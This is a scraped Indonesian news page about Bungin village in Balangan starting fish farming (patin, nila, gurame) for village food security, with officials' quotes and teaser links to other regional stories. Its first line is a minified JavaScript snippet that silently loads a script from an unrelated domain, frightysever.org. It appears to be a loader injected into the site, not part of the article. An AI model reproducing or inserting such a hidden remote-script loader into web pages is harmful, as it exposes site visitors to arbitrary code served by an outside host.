(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Pemerintah Desa Bungin, Kecamatan Paringin Selatan, Kabupaten Balangan, meluncurkan program budidaya ikan sebagai upaya mendukung ketahanan pangan desa.
Program ini dikelola oleh kelompok masyarakat setempat dan bertujuan memperkuat perekonomian serta kesejahteraan warga Desa Bungin.
Senin (26/8/2024) siang, Balai Penyuluhan Pertanian (BPP) Paringin Selatan bersama penyuluh perikanan dan aparat Desa Bungin melakukan monitoring dan pembinaan terhadap kelompok pembudidaya ikan. Kegiatan ini mencakup pelatihan mengenai teknik budidaya yang baik serta persiapan yang diperlukan.
Jenis ikan yang dibudidayakan diantaranya patin, nila, dan gurame, menggunakan berbagai metode sistem bioflok, kolam tanah, dan kolam terpal.
Koordinator BPP Paringin Selatan Norhasanah menjelaskan, pihaknya telah menugaskan satu orang penyuluh khusus untuk bidang perikanan yang mengakomodir seluruh desa di Kecamatan Paringin Selatan.
“Untuk perikanan, ada satu penyuluh yang menangani seluruh desa di kecamatan. Jadi, monitoring untuk perikanan dilakukan dalam skala kecamatan,” jelasnya, Selasa (27/8/2024).
Norhasanah berharap kegiatan ini dapat memberikan dampak positif bagi masyarakat dan membantu mendukung program ketahanan pangan desa.
“Kami berharap para pembudidaya ikan di Kecamatan Paringin Selatan bisa terus meningkatkan usahanya sehingga program ketahanan pangan desa dapat terus berkembang,” tambahnya.
Sementara itu, Kepala Desa Bungin Amir Husin menjelaskan bahwa program ini merupakan bagian dari upaya memperkuat ketahanan pangan desa.
“Kebutuhan bahan pangan sangat penting bagi keberlangsungan kehidupan masyarakat. Budidaya ikan ini adalah salah satu cara untuk memperkuat ketahanan pangan di desa kami,” ujarnya.
Desa Bungin juga memberikan bantuan kepada kelompok masyarakat, seperti Poktan Bunga Mekar, dalam bentuk kolam tanah dan kolam terpal untuk budidaya ikan. Sistem bioflok digunakan oleh Kelompok Riyadhul Muhibbin bantuan dari Dinas Ketahanan Pangan Pertanian dan Perikanan Balangan.
“Jika program ini berhasil, kami berencana membentuk lebih banyak kelompok budidaya di masa mendatang,” tambah Amir Husin.
Amir Husin juga menekankan pentingnya pengelolaan yang serius oleh kelompok-kelompok penerima bantuan.
“Kami berharap kelompok yang menerima bantuan ini dapat mengelolanya dengan baik dan serius dalam menjalankan budidaya ikan,”tambahnya. (Kanalkalimantan.com/mcbalangan)
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.